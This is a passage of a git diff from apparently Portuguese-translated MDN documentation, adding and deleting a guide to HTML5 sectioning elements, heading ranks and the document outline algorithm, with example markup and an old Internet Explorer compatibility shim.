A estrutura de um documento, por exemplo, a estrutura de semântica do que está entre <body> e </body>, é fundamental para apresentar a página ao utilizador. HTML4 uses the notion of sections and sub-sections of a document to describe its structure. A section is defined by a ({{HTMLElement("div")}}) element with heading elements ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, or {{HTMLElement("h6")}}) within it, defining its title. The relationships of these elements leads to the structure of the document and its outline.

+ +

So the following mark-up:

+ +
+
<div class="section" id="forest-elephants" >
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <div class="subsection" id="forest-habitat" >
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+     ...this subsection continues...
+  </div>
+</div>
+
+
+ +

leads to the following outline (without the implicit level numbers displayed):

+ +
1. Forest elephants
+   1.1 Habitat
+
+ +

The {{HTMLElement("div")}} elements aren't mandatory to define a new section. The mere presence of a heading element is enough to imply a new section. Therefore,

+ +
<h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h2>Habitat</h2>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+  <h2>Diet</h2>
+<h1>Mongolian gerbils</h1>
+
+ +

leads to the following outline:

+ +
1. Forest elephants
+   1.1 Habitat
+   1.2 Diet
+2. Mongolian gerbils
+
+ +

Problemas resolvidos pelo HTML5

+ +

The HTML 4 definition of the structure of a document and its implied outlining algorithm is very rough and leads to numerous problems:

+ +
    +
  1. Usage of {{HTMLElement("div")}} for defining semantic sections, without defining specific values for the class attributes makes the automation of the outlining algorithm impossible ("Is that {{HTMLElement("div")}} part of the outline of the page, defining a section or a subsection?" Or "is it only a presentational {{HTMLElement("div")}}, only used for styling?"). In other terms, the HTML4 spec is very imprecise on what is a section and how its scope is defined. Automatic generation of outlines is important, especially for assistive technology, that are likely to adapt the way they present information to the users according to the structure of the document. HTML5 removes the need for {{HTMLElement("div")}} elements from the outlining algorithm by introducing a new element, {{HTMLElement("section")}}, the HTML Section Element.
  2. +
  3. Merging several documents is hard: inclusion of a sub-document in a main document means changing the level of the HTML Headings Element so that the outline is kept. This is solved in HTML5 as the newly introduced sectioning elements ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} and {{HTMLElement("aside")}}) are always subsections of their nearest ancestor section, regardless of what sections are created by internal headings.
  4. +
  5. In HTML4, every section is part of the document outline. But documents are often not that linear. A document can have special sections containing information that is not part of, though it is related to, the main flow, like an advertisement block or an explanation box. HTML5 introduces the {{HTMLElement("aside")}} element allowing such sections to not be part of the main outline.
  6. +
  7. Again, in HTML4, because every section is part of the document outline, there is no way to have sections containing information related not to the document but to the whole site, like logos, menus, table of contents, or copyright information and legal notices. For that purpose, HTML5 introduces three new elements: {{HTMLElement("nav")}} for collections of links, such as a table of contents, {{HTMLElement("footer")}} and {{HTMLElement("header")}} for site-related information. Note that {{HTMLElement("header")}} and {{HTMLElement("footer")}} are not sectioning content like {{HTMLElement("section")}}, rather, they exist to semantically mark up parts of a section.
  8. +
+ +

More generally, HTML5 brings precision to the sectioning and heading features, allowing document outlines to be predictable and used by the browser to improve the user experience.

+ +

O algoritmo de estrutura de HTML5

+ +

Let's consider the algorithms  underlying the way HTML handles sections and outlines.

+ +

Definir secções

+ +

All content lying inside the {{HTMLElement("body")}} element is part of a section. Sections in HTML5 can be nested. Beside the main section, defined by the {{HTMLElement("body")}} element, section limits are defined either explicitly or implicitly. Explicitly-defined sections are the content within {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} tags. 

+ +
Each section can have its own heading hierarchy. Therefore, even a nested section can have an {{HTMLElement("h1")}}. See {{anch("Defining headings")}}
+ +

Let's look at an example — here we have a document with a top level section and a footer defined. Inside the top level section we have three subsections, defined by two {{htmlelement("section")}} elements and an {{htmlelement("aside")}} element:

+ +
<section>
+
+  <h1>Forest elephants</h1>
+
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+
+  <aside>
+    <p>advertising block</p>
+  </aside>
+
+</section>
+
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

This leads to the following outline:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+
+ +

Definir cabeçalhos

+ +

While the HTML Sectioning elements define the structure of the document, an outline also needs headings to be useful. The basic rule is simple: the first HTML heading element (one of {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) defines the heading of the current section.

+ +

The heading elements have a rank given by the number in the element name, where {{HTMLElement("h1")}} has the highest rank, and {{HTMLElement("h6")}} has the lowest rank. Relative ranking matters only within a section; the structure of the sections determines the outline, not the heading rank of the sections. For example, consider this code:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+        ...this subsection continues...
+  </section>
+</section>
+<section>
+  <h3>Mongolian gerbils</h3>
+  <p>In this section, we discuss the famous mongolian gerbils.
+     ...this section continues...
+</section>
+ +

This creates the following outline:

+ +
1. Forest elephants
+   1.1 Habitat
+2. Mongolian gerbils
+ +

Note that the rank of the heading element (in the example {{HTMLElement("h1")}} for the first top-level section, {{HTMLElement("h2")}} for the subsection and {{HTMLElement("h3")}} for the second top-level section) is not important. (Any rank can be used as the heading of an explicitly-defined section, although this practice is not recommended.)

+ +

Implicit sectioning

+ +

Because the HTML5 Sectioning Elements aren't mandatory to define an outline, to keep compatibility with the existing web dominated by HTML4, there is a way to define sections without them. This is called implicit sectioning.

+ +

The heading elements ({{HTMLElement("h1")}} to {{HTMLElement("h6")}}) define a new, implicit section when they aren't the first heading of their parent, explicit, sections. The way this implicit section is positioned in the outline is defined by its relative rank with the previous heading in its parent section. If it is of a lower rank than the previous heading, it opens an implicit sub-section of the section. This code:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h3 class="implicit subsection">Habitat</h3>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+</section>
+ +

leading to the following outline:

+ +
1. Forest elephants
+   1.1 Habitat (implicitly defined by the h3 element)
+
+ +

If it is of the same rank as the previous heading, it closes the previous section (which may have been explicit!) and opens a new implicit one at the same level: 

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h1 class="implicit section">Mongolian gerbils</h1>
+  <p>Mongolian gerbils are cute little mammals.
+    ...this section continues...
+</section>
+ +

leading to the following outline: 

+ +
1. Forest elephants
+2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
+
+ +

If it is of a higher rank than the previous heading, it closes the previous section and opens a new implicit one at the higher level:

+ +
<body>
+  <h1>Mammals</h1>
+  <h2>Whales</h2>
+  <p>In this section, we discuss the swimming whales.
+    ...this section continues...
+  <section>
+    <h3>Forest elephants</h3>
+    <p>In this section, we discuss the lesser known forest elephants.
+      ...this section continues...
+    <h3>Mongolian gerbils</h3>
+      <p>Hordes of gerbils have spread their range far beyond Mongolia.
+         ...this subsection continues...
+    <h2>Reptiles</h2>
+      <p>Reptiles are animals with cold blood.
+          ...this section continues...
+  </section>
+</body>
+ +

leading to the following outline:

+ +
1. Mammals
+   1.1 Whales (implicitly defined by the h2 element)
+   1.2 Forest elephants (explicitly defined by the section element)
+   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
+2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
+
+ +

This is not the outline that one might expect by quickly glancing at the heading tags. To make your markup human-understandable, it is a good practice to use explicit tags for opening and closing sections, and to match the heading rank to the intended section nesting level. However, this is not required by the HTML5 specification. If you find that browsers are rendering your document outline in unexpected ways, check whether you have sections that are implicitly closed by heading elements.

+ +

An exception to the rule of thumb that heading rank should match the section nesting level is for sections that may be reused in multiple documents. For example, a section might be stored in a content-management system and assembled into documents at run time. In this case, a good practice is to start at {{HTMLElement("h1")}} for the top heading level of the reusable section. The nesting level of the reusable section will be determined by the section hierarchy of the document in which it appears. Explicit section tags are still helpful in this case.

+ +

Sectioning roots

+ +

 A sectioning root is an HTML element that can have its own outline, but the sections and headings inside it do not contribute to the outline of its ancestor. Beside {{HTMLElement("body")}} which is the logical sectioning root of a document, these are often elements that introduce external content to the page: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} and {{HTMLElement("td")}}.

+ +

Example:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h2>Introduction</h2>
+    <p>In this section, we discuss the lesser known forest elephants</p>
+  </section>
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them. Let's
+       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
+    <blockquote>
+       <h1>Borneo</h1>
+       <p>The forest element lives in Borneo...</p>
+    </blockquote>
+  </section>
+</section>
+
+ +

This example results in the following outline:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+ +

This outline doesn't contain the internal outline of the {{HTMLElement("blockquote")}} element, which, being an external citation, is a sectioning root and isolates its internal outline.

+ +

Sections outside the outline

+ +

 HTML5 introduces two new elements that allow defining sections that don't belong to the main outline of a web document:

+ +
    +
  1. The HTML Aside Section Element ({{HTMLElement("aside")}}) defines a section that, though related to the main element, doesn't belong to the main flow, like an explanation box or an advertisement. It has its own outline, but doesn't belong to the main one.
  2. +
  3. The HTML Navigational Section Element ({{HTMLElement("nav")}}) defines a section that contains navigation links. There can be several of them in a document, for example one with page internal links like a table of contents, and another with site navigational links. These links are not part of the main document flow and outline, and are generally not initially rendered by screen readers and similar assistive technologies.
  4. +
+ +

Cabeçalhos e Rodapés

+ +

HTML5 also introduces two new elements that can be used to mark up the header and the footer of a section:

+ +
    +
  1. The HTML Header Element ({{HTMLElement("header")}}) defines a page header — typically containing the logo and name of the site and possibly a horizontal menu — or section header, containing perhaps the section's heading, author name, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("header")}}. Despite its name, it is not necessarily positioned at the beginning of the page or section.
  2. +
  3. The HTML Footer Element ({{HTMLElement("footer")}}) defines a page footer — typically containing the copyright and legal notices and sometimes some links — or section footer, containing perhaps the section's publication date, license information, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("footer")}}. Despite its name, it is not necessarily positioned at the end of the page or section.
  4. +
+ +

These do not create new sections in the outline, rather, they mark up content inside sections of the page.

+ +

Addresses in sectioning elements

+ +

The author of a document often wants to publish some contact information, such as the author's name and address. HTML4 allowed this via the {{HTMLElement("address")}} element, which has been extended in HTML5.

+ +

A document can be made of different sections from different authors. A section from another author than the one of the main page is defined using the {{HTMLElement("article")}} element. Consequently, the {{HTMLElement("address")}} element is now linked to its nearest {{HTMLElement("body")}} or {{HTMLElement("article")}} ancestor.

+ +

Utilizar elementos de HTML5 nos navegadores não HTML5

+ +

Sections and headings elements should work in most non-HTML5 browsers. Though unsupported, they don't need a special DOM interface and they only need a specific CSS styling as unknown elements are styled as display:inline by default:

+ +
article, aside, footer, header, hgroup, nav, section {
+  display:block;
+}
+
+ +

Of course the web developer can style them differently, but keep in mind that in a non-HTML5 browser, the default styling is different from what is expected for such elements. Also note that the {{HTMLElement("time")}} element has not been included, because the default styling for it in a non-HTML5 browser is the same as the one in an HTML5-compatible one.

+ +

This method has its limitation though, as some browsers do not allow styling of unsupported elements. That is the case of the Internet Explorer (version 8 and earlier), which need a specific script to allow this:

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("article");
+    document.createElement("aside");
+    document.createElement("footer");
+    document.createElement("header");
+    document.createElement("hgroup");
+    document.createElement("nav");
+    document.createElement("section");
+    document.createElement("time");
+  </script>
+<![endif]-->
+
+ +

This script means that, in the case of Internet Explorer (8 and earlier), scripting should be enabled in order to display HTML5 sectioning and headings elements properly. If not, they won't be displayed, which may be problematic as these elements are likely defining the structure of the whole page. That's why an explicit {{HTMLElement("noscript")}} element should be added inside the {{HTMLElement("head")}} element for this case:

+ +
<noscript>
+  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
+  <p>JavaScript is an object-oriented computer programming language
+    commonly used to create interactive effects within web browsers.</p>
+  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
+</noscript>
+
+ +

This leads to the following code to allow the support of the HTML5 sections and headings elements in non-HTML5 browsers, even for Internet Explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting:

+ +
<!--[if lt IE 9]> <script>
+  document.createElement("article");
+    document.createElement("aside");
+    document.createElement("footer");
+    document.createElement("header");
+    document.createElement("hgroup");
+    document.createElement("nav");
+    document.createElement("section");
+    document.createElement("time");   </script> <![endif]--> <noscript>
+  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
+  <p>JavaScript is an object-oriented computer programming language
+    commonly used to create interactive effects within web browsers.</p>
+  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
+</noscript> <![endif]-->
+
+ +

Conclusão

+ +

The new semantic elements introduced in HTML5 bring the ability to describe the structure and the outline of a web document in a standard way. They bring a big advantage for people having HTML5 browsers and needing the structure to help them understand the page, for instance people needing the help of some assistive technology. These new semantic elements are simple to use and, with very few burdens, can be made to work also in non-HTML5 browsers. Therefore they should be used without restrictions.

+ +
{{HTML5ArticleTOC()}}
diff --git a/files/pt-pt/web/guide/html/utilizar_estruturas_e_seccoes_de_html/index.html b/files/pt-pt/web/guide/html/utilizar_estruturas_e_seccoes_de_html/index.html deleted file mode 100644 index fd11f62887..0000000000 --- a/files/pt-pt/web/guide/html/utilizar_estruturas_e_seccoes_de_html/index.html +++ /dev/null @@ -1,343 +0,0 @@ ---- -title: Utilizar estruturas e secções de HTML -slug: Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML -tags: - - Avançado - - Estruturas - - Exemplo - - Guía - - HTML - - HTML5 - - Resumo - - Secções - - Sinopse - - Web -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines ---- -
-

Importante: atualmente, não existem implementações conhecidas do algoritmo de estrutura nos navegadores gráficos ou agentes de utilizador da tecnologia assistiva, embora o algoritmo esteja implementado noutro software, tal como verificadores de conformidade . Assim, o algoritmo de estrutura não pode ser invocado para transmitir a estrutura do documento aos utilizadores. Recomenda-se que os autores utilizem rank (h1-h6) para transmitir a estrutura do documento.

-
- -

The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with standard semantics. This document describes these elements and how to use them to define the desired outline for any document.

- -

Estrutura de um documento em HTML 4

- -

A estrutura de um documento, por exemplo, a estrutura de semântica do que está entre <body> e </body>, é fundamental para apresentar a página ao utilizador. HTML4 uses the notion of sections and sub-sections of a document to describe its structure. A section is defined by a ({{HTMLElement("div")}}) element with heading elements ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, or {{HTMLElement("h6")}}) within it, defining its title. The relationships of these elements leads to the structure of the document and its outline.

- -

So the following mark-up:

- -
-
<div class="section" id="forest-elephants" >
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <div class="subsection" id="forest-habitat" >
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-     ...this subsection continues...
-  </div>
-</div>
-
-
- -

leads to the following outline (without the implicit level numbers displayed):

- -
1. Forest elephants
-   1.1 Habitat
-
- -

The {{HTMLElement("div")}} elements aren't mandatory to define a new section. The mere presence of a heading element is enough to imply a new section. Therefore,

- -
<h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h2>Habitat</h2>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-  <h2>Diet</h2>
-<h1>Mongolian gerbils</h1>
-
- -

leads to the following outline:

- -
1. Forest elephants
-   1.1 Habitat
-   1.2 Diet
-2. Mongolian gerbils
-
- -

Problemas resolvidos pelo HTML5

- -

The HTML 4 definition of the structure of a document and its implied outlining algorithm is very rough and leads to numerous problems:

- -
    -
  1. Usage of {{HTMLElement("div")}} for defining semantic sections, without defining specific values for the class attributes makes the automation of the outlining algorithm impossible ("Is that {{HTMLElement("div")}} part of the outline of the page, defining a section or a subsection?" Or "is it only a presentational {{HTMLElement("div")}}, only used for styling?"). In other terms, the HTML4 spec is very imprecise on what is a section and how its scope is defined. Automatic generation of outlines is important, especially for assistive technology, that are likely to adapt the way they present information to the users according to the structure of the document. HTML5 removes the need for {{HTMLElement("div")}} elements from the outlining algorithm by introducing a new element, {{HTMLElement("section")}}, the HTML Section Element.
  2. -
  3. Merging several documents is hard: inclusion of a sub-document in a main document means changing the level of the HTML Headings Element so that the outline is kept. This is solved in HTML5 as the newly introduced sectioning elements ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} and {{HTMLElement("aside")}}) are always subsections of their nearest ancestor section, regardless of what sections are created by internal headings.
  4. -
  5. In HTML4, every section is part of the document outline. But documents are often not that linear. A document can have special sections containing information that is not part of, though it is related to, the main flow, like an advertisement block or an explanation box. HTML5 introduces the {{HTMLElement("aside")}} element allowing such sections to not be part of the main outline.
  6. -
  7. Again, in HTML4, because every section is part of the document outline, there is no way to have sections containing information related not to the document but to the whole site, like logos, menus, table of contents, or copyright information and legal notices. For that purpose, HTML5 introduces three new elements: {{HTMLElement("nav")}} for collections of links, such as a table of contents, {{HTMLElement("footer")}} and {{HTMLElement("header")}} for site-related information. Note that {{HTMLElement("header")}} and {{HTMLElement("footer")}} are not sectioning content like {{HTMLElement("section")}}, rather, they exist to semantically mark up parts of a section.
  8. -
- -

More generally, HTML5 brings precision to the sectioning and heading features, allowing document outlines to be predictable and used by the browser to improve the user experience.

- -

O algoritmo de estrutura de HTML5

- -

Let's consider the algorithms  underlying the way HTML handles sections and outlines.

- -

Definir secções

- -

All content lying inside the {{HTMLElement("body")}} element is part of a section. Sections in HTML5 can be nested. Beside the main section, defined by the {{HTMLElement("body")}} element, section limits are defined either explicitly or implicitly. Explicitly-defined sections are the content within {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} tags. 

- -
Each section can have its own heading hierarchy. Therefore, even a nested section can have an {{HTMLElement("h1")}}. See {{anch("Defining headings")}}
- -

Let's look at an example — here we have a document with a top level section and a footer defined. Inside the top level section we have three subsections, defined by two {{htmlelement("section")}} elements and an {{htmlelement("aside")}} element:

- -
<section>
-
-  <h1>Forest elephants</h1>
-
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-
-  <aside>
-    <p>advertising block</p>
-  </aside>
-
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

This leads to the following outline:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
-
- -

Definir cabeçalhos

- -

While the HTML Sectioning elements define the structure of the document, an outline also needs headings to be useful. The basic rule is simple: the first HTML heading element (one of {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) defines the heading of the current section.

- -

The heading elements have a rank given by the number in the element name, where {{HTMLElement("h1")}} has the highest rank, and {{HTMLElement("h6")}} has the lowest rank. Relative ranking matters only within a section; the structure of the sections determines the outline, not the heading rank of the sections. For example, consider this code:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-        ...this subsection continues...
-  </section>
-</section>
-<section>
-  <h3>Mongolian gerbils</h3>
-  <p>In this section, we discuss the famous mongolian gerbils.
-     ...this section continues...
-</section>
- -

This creates the following outline:

- -
1. Forest elephants
-   1.1 Habitat
-2. Mongolian gerbils
- -

Note that the rank of the heading element (in the example {{HTMLElement("h1")}} for the first top-level section, {{HTMLElement("h2")}} for the subsection and {{HTMLElement("h3")}} for the second top-level section) is not important. (Any rank can be used as the heading of an explicitly-defined section, although this practice is not recommended.)

- -

Implicit sectioning

- -

Because the HTML5 Sectioning Elements aren't mandatory to define an outline, to keep compatibility with the existing web dominated by HTML4, there is a way to define sections without them. This is called implicit sectioning.

- -

The heading elements ({{HTMLElement("h1")}} to {{HTMLElement("h6")}}) define a new, implicit section when they aren't the first heading of their parent, explicit, sections. The way this implicit section is positioned in the outline is defined by its relative rank with the previous heading in its parent section. If it is of a lower rank than the previous heading, it opens an implicit sub-section of the section. This code:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h3 class="implicit subsection">Habitat</h3>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-</section>
- -

leading to the following outline:

- -
1. Forest elephants
-   1.1 Habitat (implicitly defined by the h3 element)
-
- -

If it is of the same rank as the previous heading, it closes the previous section (which may have been explicit!) and opens a new implicit one at the same level: 

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h1 class="implicit section">Mongolian gerbils</h1>
-  <p>Mongolian gerbils are cute little mammals.
-    ...this section continues...
-</section>
- -

leading to the following outline: 

- -
1. Forest elephants
-2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
-
- -

If it is of a higher rank than the previous heading, it closes the previous section and opens a new implicit one at the higher level:

- -
<body>
-  <h1>Mammals</h1>
-  <h2>Whales</h2>
-  <p>In this section, we discuss the swimming whales.
-    ...this section continues...
-  <section>
-    <h3>Forest elephants</h3>
-    <p>In this section, we discuss the lesser known forest elephants.
-      ...this section continues...
-    <h3>Mongolian gerbils</h3>
-      <p>Hordes of gerbils have spread their range far beyond Mongolia.
-         ...this subsection continues...
-    <h2>Reptiles</h2>
-      <p>Reptiles are animals with cold blood.
-          ...this section continues...
-  </section>
-</body>
- -

leading to the following outline:

- -
1. Mammals
-   1.1 Whales (implicitly defined by the h2 element)
-   1.2 Forest elephants (explicitly defined by the section element)
-   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
-2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
-
- -

This is not the outline that one might expect by quickly glancing at the heading tags. To make your markup human-understandable, it is a good practice to use explicit tags for opening and closing sections, and to match the heading rank to the intended section nesting level. However, this is not required by the HTML5 specification. If you find that browsers are rendering your document outline in unexpected ways, check whether you have sections that are implicitly closed by heading elements.

- -

An exception to the rule of thumb that heading rank should match the section nesting level is for sections that may be reused in multiple documents. For example, a section might be stored in a content-management system and assembled into documents at run time. In this case, a good practice is to start at {{HTMLElement("h1")}} for the top heading level of the reusable section. The nesting level of the reusable section will be determined by the section hierarchy of the document in which it appears. Explicit section tags are still helpful in this case.

- -

Sectioning roots

- -

 A sectioning root is an HTML element that can have its own outline, but the sections and headings inside it do not contribute to the outline of its ancestor. Beside {{HTMLElement("body")}} which is the logical sectioning root of a document, these are often elements that introduce external content to the page: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} and {{HTMLElement("td")}}.

- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h2>Introduction</h2>
-    <p>In this section, we discuss the lesser known forest elephants</p>
-  </section>
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them. Let's
-       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
-    <blockquote>
-       <h1>Borneo</h1>
-       <p>The forest element lives in Borneo...</p>
-    </blockquote>
-  </section>
-</section>
-
- -

This example results in the following outline:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
- -

This outline doesn't contain the internal outline of the {{HTMLElement("blockquote")}} element, which, being an external citation, is a sectioning root and isolates its internal outline.

- -

Sections outside the outline

- -

 HTML5 introduces two new elements that allow defining sections that don't belong to the main outline of a web document:

- -
    -
  1. The HTML Aside Section Element ({{HTMLElement("aside")}}) defines a section that, though related to the main element, doesn't belong to the main flow, like an explanation box or an advertisement. It has its own outline, but doesn't belong to the main one.
  2. -
  3. The HTML Navigational Section Element ({{HTMLElement("nav")}}) defines a section that contains navigation links. There can be several of them in a document, for example one with page internal links like a table of contents, and another with site navigational links. These links are not part of the main document flow and outline, and are generally not initially rendered by screen readers and similar assistive technologies.
  4. -
- -

Cabeçalhos e Rodapés

- -

HTML5 also introduces two new elements that can be used to mark up the header and the footer of a section:

- -
    -
  1. The HTML Header Element ({{HTMLElement("header")}}) defines a page header — typically containing the logo and name of the site and possibly a horizontal menu — or section header, containing perhaps the section's heading, author name, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("header")}}. Despite its name, it is not necessarily positioned at the beginning of the page or section.
  2. -
  3. The HTML Footer Element ({{HTMLElement("footer")}}) defines a page footer — typically containing the copyright and legal notices and sometimes some links — or section footer, containing perhaps the section's publication date, license information, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("footer")}}. Despite its name, it is not necessarily positioned at the end of the page or section.
  4. -
- -

These do not create new sections in the outline, rather, they mark up content inside sections of the page.

- -

Addresses in sectioning elements

- -

The author of a document often wants to publish some contact information, such as the author's name and address. HTML4 allowed this via the {{HTMLElement("address")}} element, which has been extended in HTML5.

- -

A document can be made of different sections from different authors. A section from another author than the one of the main page is defined using the {{HTMLElement("article")}} element. Consequently, the {{HTMLElement("address")}} element is now linked to its nearest {{HTMLElement("body")}} or {{HTMLElement("article")}} ancestor.

- -

Utilizar elementos de HTML5 nos navegadores não HTML5

- -

Sections and headings elements should work in most non-HTML5 browsers. Though unsupported, they don't need a special DOM interface and they only need a specific CSS styling as unknown elements are styled as display:inline by default:

- -
article, aside, footer, header, hgroup, nav, section {
-  display:block;
-}
-
- -

Of course the web developer can style them differently, but keep in mind that in a non-HTML5 browser, the default styling is different from what is expected for such elements. Also note that the {{HTMLElement("time")}} element has not been included, because the default styling for it in a non-HTML5 browser is the same as the one in an HTML5-compatible one.

- -

This method has its limitation though, as some browsers do not allow styling of unsupported elements. That is the case of the Internet Explorer (version 8 and earlier), which need a specific script to allow this:

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");
-  </script>
-<![endif]-->
-
- -

This script means that, in the case of Internet Explorer (8 and earlier), scripting should be enabled in order to display HTML5 sectioning and headings elements properly. If not, they won't be displayed, which may be problematic as these elements are likely defining the structure of the whole page. That's why an explicit {{HTMLElement("noscript")}} element should be added inside the {{HTMLElement("head")}} element for this case:

- -
<noscript>
-  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
-  <p>JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.</p>
-  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
-</noscript>
-
- -

This leads to the following code to allow the support of the HTML5 sections and headings elements in non-HTML5 browsers, even for Internet Explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting:

- -
<!--[if lt IE 9]> <script>
-  document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");   </script> <![endif]--> <noscript>
-  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
-  <p>JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.</p>
-  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
-</noscript> <![endif]-->
-
- -

Conclusão

- -

The new semantic elements introduced in HTML5 bring the ability to describe the structure and the outline of a web document in a standard way. They bring a big advantage for people having HTML5 browsers and needing the structure to help them understand the page, for instance people needing the help of some assistive technology. These new semantic elements are simple to use and, with very few burdens, can be made to work also in non-HTML5 browsers. Therefore they should be used without restrictions.

- -
{{HTML5ArticleTOC()}}
diff --git a/files/pt-pt/web/html/aplicar_cor_elementos_html_utilizando_css/index.html b/files/pt-pt/web/html/aplicar_cor_elementos_html_utilizando_css/index.html deleted file mode 100644 index 2aaefab31d..0000000000 --- a/files/pt-pt/web/html/aplicar_cor_elementos_html_utilizando_css/index.html +++ /dev/null @@ -1,581 +0,0 @@ ---- -title: Aplicar cor aos elementos de HTML utilizando CSS -slug: Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS -tags: - - CSS - - Cores de CSS - - Cores de HTML - - Estilo de HTML - - Estilos de HTML - - Guía - - HTML - - Principiante - - cor -translation_of: Web/HTML/Applying_color ---- -
{{HTMLRef}}
- -

